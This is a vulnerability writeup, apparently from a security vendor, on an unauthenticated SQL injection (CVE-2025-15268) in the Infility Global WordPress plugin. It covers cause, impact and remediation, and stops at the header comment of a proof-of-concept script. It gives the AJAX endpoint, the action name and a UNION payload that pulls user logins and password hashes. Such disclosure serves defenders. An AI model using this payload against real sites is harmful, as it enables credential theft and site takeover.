Atomic Edge analysis of CVE-2025-15268 (metadata-based):
The Infility Global WordPress plugin contains an unauthenticated SQL injection vulnerability. The flaw exists in the plugin’s API handler for the ‘infility_get_data’ action. Attackers can exploit this to execute arbitrary SQL commands against the database without authentication, leading to data exfiltration. The CVSS score of 7.5 (High) reflects the network-based attack vector and high impact on confidentiality.
Atomic Edge research identifies the root cause as a classic SQL injection (CWE-89). The vulnerability description states insufficient escaping on user-supplied parameters and a lack of sufficient query preparation. This strongly implies the plugin directly interpolated user-controlled variables into an SQL string without using prepared statements via `$wpdb`. The description also mentions a predictable API key and IP whitelist bypass, which are inferred to be secondary access control flaws that enable the unauthenticated attack vector. These conclusions are inferred from the CWE and description, as the source code is unavailable for confirmation.
Exploitation targets the WordPress admin AJAX endpoint. Attackers send a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `infility_get_data`. The vulnerability description indicates user-supplied parameters are insufficiently escaped. A realistic payload would inject a UNION-based SQL query into a vulnerable parameter, such as `’ UNION SELECT user_login,user_pass FROM wp_users–`. The predictable API key and IP whitelist bypass likely involve supplying a known default key or spoofing headers to satisfy broken authentication checks.
Remediation requires implementing proper input validation and using prepared statements. The plugin must replace any direct variable interpolation in SQL queries with the WordPress `$wpdb->prepare()` method. The fix must also address the broken authentication mechanism, likely by removing reliance on a predictable static API key and implementing proper nonce or capability checks for the AJAX handler. These measures are standard for resolving CWE-89 in WordPress plugins.
Successful exploitation compromises database confidentiality. Attackers can extract sensitive information including WordPress user credentials (hashed passwords), personally identifiable information, and any other data stored by the Infility Global plugin or core WordPress tables. This can lead to full site compromise through password cracking or session hijacking. The vulnerability does not directly allow for data modification (Integrity impact) or service disruption (Availability impact), as reflected in the CVSS vector.

/**
* Proof of Concept for CVE-2025-15268.
* This script demonstrates unauthenticated SQL injection via the 'infility_get_data' AJAX action.
* Assumptions based on metadata:
* 1. The endpoint is /wp-admin/admin-ajax.php (standard WordPress AJAX).
* 2. The required parameter is 'action' with value 'infility_get_data'.
* 3. A predictable API key or header bypass is required (modeled as an 'api_key' parameter).
* 4. A user-supplied parameter (modeled as 'vulnerable_param') is injectable.
* This PoC uses a time-based blind SQL injection payload for safety and detection.
